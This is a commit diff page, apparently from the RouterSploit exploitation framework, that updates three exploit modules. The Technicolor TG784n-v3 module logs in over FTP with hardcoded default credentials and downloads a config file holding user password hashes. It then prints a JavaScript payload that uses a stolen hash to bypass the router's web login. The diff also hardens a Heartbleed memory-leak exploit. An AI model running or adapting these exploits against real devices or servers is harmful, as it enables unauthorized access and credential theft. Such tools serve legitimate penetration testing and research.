Unverified Commit fa0b2fd0 by Marcin Bury Committed by GitHub

Fixing tg784_authbypass, dlink-dsl and heartbleed (#411)

parent eae2c0c7
import socket import socket
import ftplib import ftplib
import io
from routersploit.core.exploit.exploit import Exploit from routersploit.core.exploit.exploit import Exploit
from routersploit.core.exploit.exploit import Protocol from routersploit.core.exploit.exploit import Protocol
...@@ -62,3 +63,11 @@ class FTPClient(Exploit): ...@@ -62,3 +63,11 @@ class FTPClient(Exploit):
return True return True
return False return False
def ftp_get_content(self, ftp_client, remote_file):
if ftp_client:
fp_content = io.BytesIO()
ftp_client.retrbinary("RETR {}".format(remote_file), fp_content.write)
return fp_content.getvalue()
return None
...@@ -64,6 +64,8 @@ class TCPClient(Exploit): ...@@ -64,6 +64,8 @@ class TCPClient(Exploit):
return response return response
except socket.timeout: except socket.timeout:
print_error("Socket did timeout") print_error("Socket did timeout")
except socket.error:
print_error("Socket error")
return None return None
......
...@@ -39,6 +39,7 @@ class Exploit(TCPClient): ...@@ -39,6 +39,7 @@ class Exploit(TCPClient):
"https://gist.github.com/takeshixx/10107280", "https://gist.github.com/takeshixx/10107280",
"https://github.com/FiloSottile/Heartbleed", "https://github.com/FiloSottile/Heartbleed",
"http://filippo.io/Heartbleed/", "http://filippo.io/Heartbleed/",
"https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb",
), ),
"devices": ( "devices": (
"Multi", "Multi",
...@@ -164,7 +165,9 @@ class Exploit(TCPClient): ...@@ -164,7 +165,9 @@ class Exploit(TCPClient):
return False return False
def bleed(self): def bleed(self):
self.establish_connect() if not self.establish_connect():
print_error("Exploit failed - could not establish connection")
return False
print_status("Sending Heartbeat...") print_status("Sending Heartbeat...")
heartbeat_req = self.heartbeat_request(self.heartbeat_length) heartbeat_req = self.heartbeat_request(self.heartbeat_length)
......
...@@ -35,6 +35,7 @@ class Exploit(HTTPClient): ...@@ -35,6 +35,7 @@ class Exploit(HTTPClient):
path=path path=path
) )
@mute
def check(self): def check(self):
response = self.http_request( response = self.http_request(
method="GET", method="GET",
......
import re import re
from StringIO import StringIO from io import StringIO
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.ftp.ftp_client import FTPClient from routersploit.core.ftp.ftp_client import FTPClient
from routersploit.core.telnet.telnet_client import TelnetClient
class Exploit(FTPClient, TelnetClient): class Exploit(FTPClient):
__info__ = { __info__ = {
"name": "Technicolor TG784n-v3 Auth Bypass", "name": "Technicolor TG784n-v3 Auth Bypass",
"description": "Module exploits Technicolor TG784n-v3 authentication bypass vulnerability.", "description": "Module exploits Technicolor TG784n-v3 authentication bypass vulnerability.",
"authors": [ "authors": (
"Jose Moreira", # vulnerability discovery & analysis "Jose Moreira", # vulnerability discovery & analysis
"0BuRner", # routersploit module "0BuRner", # routersploit module
"Marcin Bury <marcin[at]threat9.com>", # little fixes "Marcin Bury <marcin[at]threat9.com>", # little fixes
], ),
"references": [ "references": (
"http://modem-help.forum-phpbb.co.uk/t1-fixing-username-password-problems", "http://modem-help.forum-phpbb.co.uk/t1-fixing-username-password-problems",
"http://modem-help.forum-phpbb.co.uk/t2-howto-root-tg784", "http://modem-help.forum-phpbb.co.uk/t2-howto-root-tg784",
], ),
"devices": [ "devices": (
"Technicolor TG784n-v3", "Technicolor TG784n-v3",
"Unknown number of Technicolor and Thompson routers", "Unknown number of Technicolor and Thompson routers",
] )
} }
target = OptIP("", "Target IPv4 or IPv6 address") target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port") port = OptPort(21, "Target FTP port")
ftp_port = exploits.Option(21, 'Target FTP port') username = OptString("upgrade", "Default FTP username")
telnet_port = exploits.Option(23, 'Target Telnet port') password = OptString("Th0ms0n!", "Default FTP password for \"upgrade\" user")
remote_user = exploits.Option('upgrade', 'Default FTP username')
remote_pass = exploits.Option('Th0ms0n!', 'Default FTP password for "upgrade" user')
config_path = exploits.Option('user.ini', 'Path to config file')
def run(self): def run(self):
response = self.telnet_login() creds = self.get_credentials()
if 'Login not allowed' in response and self.is_port_opened(self.ftp_port): if creds:
print_error("Telnet: {}:{} Authentication through Telnet not allowed".format(self.target, self.telnet_port)) print_success("Found encrypted credentials:")
print_status("FTP and HTTP service active") print_table(("Name", "Password", "Role", "Hash2", "Crypt"), *creds)
creds = self.ftp_get_config()
print_status("Use javascript console (through developer tools) to bypass authentication:")
if creds: payload = ('var user = "{}"\n'
print_status("Use javascript console (through developer tools) to bypass authentication:") 'var hash2 = "{}";\n'
payload = ('var user = "{}"\n' 'var HA2 = MD5("GET" + ":" + uri);\n'
'var hash2 = "{}";\n' 'document.getElementById("user").value = user;\n'
'var HA2 = MD5("GET" + ":" + uri);\n' 'document.getElementById("hidepw").value = MD5(hash2 + ":" + nonce +":" + "00000001" + ":" + "xyz" + ":" + qop + ":" + HA2);\n'
'document.getElementById("user").value = user;\n' 'document.authform.submit();\n')
'document.getElementById("hidepw").value = MD5(hash2 + ":" + nonce +":" + "00000001" + ":" + "xyz" + ":" + qop + ":" + HA2);\n'
'document.authform.submit();\n') for user in creds:
print_success("User: {} Role: {}".format(user[0], user[2]))
print_info(payload.format(user[0], user[3]))
for user in creds:
print_success("User: {} Role: {}".format(user[0], user[2]))
print_info(payload.format(user[0], user[3]))
elif '}=>' in response:
print_success("Successful authentication through Telnet service")
tn = telnetlib.Telnet(self.target, int(self.telnet_port), timeout=10)
tn.read_until(': ')
tn.write(self.remote_user + '\r\n')
tn.read_until(': ')
tn.write(self.remote_pass + '\r\n')
tn.interact()
else: else:
print_error("Exploit failed - target seems to be not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
@mute @mute
def check(self): def check(self):
response = self.telnet_login() if self.get_credentials():
if 'Login not allowed' in response and self.is_port_opened(self.ftp_port) and self.ftp_get_config():
return True
elif '}=>' in response:
return True return True
return False return False
def telnet_login(self):
print_status("Telnet: {}:{} Authenticating with Username: {} Password: {}".format(self.target,
self.telnet_port,
self.remote_user,
self.remote_pass))
try:
tn = telnetlib.Telnet(self.target, int(self.telnet_port), timeout=10)
tn.read_until(': ')
tn.write(self.remote_user + '\r\n')
tn.read_until(': ')
tn.write(self.remote_pass + '\r\n')
response = tn.read_until("Login not allowed", 10)
tn.close()
except:
return ""
return response def get_credentials(self):
print_status("Trying FTP authentication with Username: {} and Password: {}".format(self.username,
self.password))
def is_port_opened(self, port): ftp_client = self.ftp_login(self.username, self.password)
try: if ftp_client:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print_success("Authentication successful")
s.settimeout(3) content = self.ftp_get_content(ftp_client, "user.ini")
s.connect((self.target, port)) creds = re.findall(r"add name=(.*) password=(.*) role=(.*) hash2=(.*) crypt=(.*)\r\n", str(content, "utf-8"))
return True return creds
except: else:
return False print_error("Exploit failed - authentication failed")
finally:
s.close()
def ftp_get_config(self):
print_status("FTP {}:{} Trying FTP authentication with Username: {} and Password: {}".format(self.target,
self.ftp_port,
self.remote_user,
self.remote_pass))
ftp = ftplib.FTP()
try:
ftp.connect(self.target, port=int(self.ftp_port), timeout=10)
ftp.login(self.remote_user, self.remote_pass)
print_success("FTP {}:{} Authentication successful".format(self.target, self.ftp_port))
if self.config_path in ftp.nlst():
print_status("FTP {}:{} Downloading: {}".format(self.target, self.ftp_port, self.config_path))
r = StringIO()
ftp.retrbinary('RETR {}'.format(self.config_path), r.write)
ftp.close()
data = r.getvalue()
creds = re.findall(r'add name=(.*) password=(.*) role=(.*) hash2=(.*) crypt=(.*)\r\n', data)
if creds:
print_success("Found encrypted credentials:")
print_table(('Name', 'Password', 'Role', 'Hash2', 'Crypt'), *creds)
return creds
else:
print_error("Exploit failed - could not find any credentials")
except ftplib.all_errors:
print_error("Exploit failed - FTP error")
return None return None
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment